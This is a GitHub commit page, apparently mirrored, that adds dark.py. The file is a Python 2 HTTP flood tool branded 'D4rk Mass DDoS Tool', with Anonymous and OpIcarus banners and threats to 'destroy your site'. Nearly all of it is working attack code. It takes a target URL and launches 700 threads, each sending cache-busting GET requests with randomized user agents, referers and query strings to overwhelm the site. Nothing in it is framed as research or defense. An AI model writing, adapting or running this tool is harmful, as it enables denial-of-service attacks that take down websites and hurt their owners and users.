Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit ee30060

Browse files
authored
Create dark.py
1 parent 32c9447 commit ee30060

1 file changed

Lines changed: 210 additions & 0 deletions

File tree

dark.py

Lines changed: 210 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,210 @@
1+
####################################->
2+
#4312644bf54db17180c8a95add9fdc06####-->Hello admin
3+
#9dfb17e500b557a9d985c08da4fd0aaf#####--->We will destroy your site
4+
#5afc3c0f68ff47b53b485fcd53e898a9######---->OpIcarus
5+
#ff46a6b3100d11c29d4233c72f604a10#####--->Goodbye admin
6+
#6e70e3b1bf171ae14505f4f8b0dc4e5a####-->D4rk
7+
####################################->D4rkN3t
8+
#Anonymous
9+
10+
11+
import urllib2
12+
import sys
13+
import threading
14+
import random
15+
import re
16+
17+
#global params
18+
url='' ###############################
19+
host='' #~~~~Created By ANONYMOUS~~~~#
20+
headers_useragents=[]
21+
headers_referers=[]
22+
request_counter=0
23+
flag=0
24+
safe=0 ###############################
25+
26+
def inc_counter():
27+
global request_counter
28+
request_counter+=45
29+
30+
def set_flag(val):
31+
global flag
32+
flag=val
33+
34+
def set_safe():
35+
global safe
36+
safe=1
37+
38+
# generates a user agent array
39+
def useragent_list():
40+
global headers_useragents
41+
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) BlackHawk/1.0.195.0 Chrome/127.0.0.1 Safari/62439616.534')
42+
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
43+
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
44+
headers_useragents.append('Mozilla/5.0 (PlayStation 4 1.52) AppleWebKit/536.26 (KHTML, like Gecko)')
45+
headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; rv:26.0) Gecko/20100101 Firefox/26.0 IceDragon/26.0.0.2')
46+
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
47+
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
48+
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
49+
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
50+
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
51+
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
52+
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
53+
return(headers_useragents)
54+
55+
# generates a referer array
56+
def referer_list():
57+
global headers_referers
58+
headers_referers.append('http://www.google.com/?q=') ############################
59+
headers_referers.append('http://www.usatoday.com/search/results?q=') #Pre-configured #
60+
headers_referers.append('http://engadget.search.aol.com/search?q=') #Botnets #
61+
headers_referers.append('http://www.google.com/?q=') #Infected's Websites #
62+
headers_referers.append('http://www.usatoday.com/search/results?q=') #Best's Shells Only #
63+
headers_referers.append('http://engadget.search.aol.com/search?q=') #All uploaded by Anonymous_#
64+
headers_referers.append('http://www.bing.com/search?q=') #From Hackers To Hackers #
65+
headers_referers.append('http://search.yahoo.com/search?p=') ############################
66+
headers_referers.append('http://www.ask.com/web?q=')
67+
headers_referers.append('http://search.lycos.com/web/?q=')
68+
headers_referers.append('http://busca.uol.com.br/web/?q=')
69+
headers_referers.append('http://us.yhs4.search.yahoo.com/yhs/search?p=')
70+
headers_referers.append('http://www.dmoz.org/search/search?q=')
71+
headers_referers.append('http://www.baidu.com.br/s?usm=1&rn=100&wd=')
72+
headers_referers.append('http://yandex.ru/yandsearch?text=')
73+
headers_referers.append('http://www.zhongsou.com/third?w=')
74+
headers_referers.append('http://hksearch.timway.com/search.php?query=')
75+
headers_referers.append('http://find.ezilon.com/search.php?q=')
76+
headers_referers.append('http://www.sogou.com/web?query=')
77+
headers_referers.append('http://api.duckduckgo.com/html/?q=')
78+
headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
79+
80+
# generates a Keyword list
81+
def keyword_list():
82+
global keyword_top
83+
keyword_top.append('D4rkN3t')
84+
85+
86+
headers_referers.append('http://' + host + '/')
87+
return(headers_referers)
88+
89+
#builds random ascii string
90+
def buildblock(size):
91+
out_str = ''
92+
for i in range(0, size):
93+
a = random.randint(65, 160)
94+
out_str += chr(a)
95+
return(out_str)
96+
97+
def usage():
98+
print 'D4rk Mass DDoS Tool created by D4rkN3n'
99+
print 'Facebook Profile: https://www.facebook.com/profile.php?id=100013355013276'
100+
print 'Usage: d4rk.py (url)'
101+
print 'Example: d4rk.py http://target.com/'
102+
print "\a"
103+
print \
104+
"""
105+
(
106+
)\ ) ) )
107+
(()/( ( /(( ( /(
108+
/(_)) )\())( )\())
109+
(_))_ ((_)(()\((_)\
110+
| \| | (_|(_) |(_)
111+
| |) |_ _| '_| / /
112+
|___/ |_||_| |_\_\
113+
114+
_________________________
115+
116+
"""
117+
118+
119+
#http request
120+
def httpcall(url):
121+
useragent_list()
122+
referer_list()
123+
code=0
124+
if url.count("?")>0:
125+
param_joiner="&"
126+
else:
127+
param_joiner="?"
128+
request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
129+
request.add_header('User-Agent', random.choice(headers_useragents))
130+
request.add_header('Cache-Control', 'no-cache')
131+
request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
132+
request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(50,100)))
133+
request.add_header('Keep-Alive', random.randint(110,160))
134+
request.add_header('Connection', 'keep-alive')
135+
request.add_header('Host',host)
136+
try:
137+
urllib2.urlopen(request)
138+
except urllib2.HTTPError, e:
139+
#print e.code
140+
set_flag(1)
141+
142+
print ' '
143+
print '***** We Are Anonymous *****'
144+
print '***** Your website will be down *****'
145+
print ' '
146+
147+
code=500
148+
except urllib2.URLError, e:
149+
#print e.reason
150+
sys.exit()
151+
else:
152+
inc_counter()
153+
urllib2.urlopen(request)
154+
return(code)
155+
156+
157+
#http caller thread
158+
class HTTPThread(threading.Thread):
159+
def run(self):
160+
try:
161+
while flag<2:
162+
code=httpcall(url)
163+
if (code==500) & (safe==1):
164+
set_flag(2)
165+
except Exception, ex:
166+
pass
167+
168+
# monitors http threads and counts requests
169+
class MonitorThread(threading.Thread):
170+
def run(self):
171+
previous=request_counter
172+
while flag==0:
173+
if (previous+150<request_counter) & (previous<>request_counter):
174+
print "#~~~>D4rk Virus Sended: %d Sending more<~~~#" % (request_counter)
175+
previous=request_counter
176+
if flag==2:
177+
print "\n ~>Stopping the mass DDoS Attack<~"
178+
179+
#execute
180+
if len(sys.argv) < 2:
181+
usage()
182+
sys.exit()
183+
else:
184+
if sys.argv[1]=="help":
185+
usage()
186+
sys.exit()
187+
else:
188+
print "Starting the D4rk Attack"
189+
print "WTF U R DEAD"
190+
if len(sys.argv)== 3:
191+
if sys.argv[2]=="safe":
192+
set_safe()
193+
url = sys.argv[1]
194+
if url.count("/")==2:
195+
url = url + "/"
196+
m = re.search('http\://([^/]*)/?.*', url)
197+
host = m.group(1)
198+
for i in range(700):
199+
t = HTTPThread()
200+
t.start()
201+
t = MonitorThread()
202+
t.start()
203+
204+
####################################->
205+
#4312644bf54db17180c8a95add9fdc06####-->Hello admin
206+
#9dfb17e500b557a9d985c08da4fd0aaf#####--->We will destroy your site
207+
#5afc3c0f68ff47b53b485fcd53e898a9######---->OpIcarus
208+
#ff46a6b3100d11c29d4233c72f604a10#####--->Goodbye admin
209+
#6e70e3b1bf171ae14505f4f8b0dc4e5a####-->D4rkN3t
210+
####################################->An0nYMouS

0 commit comments

Comments
 (0)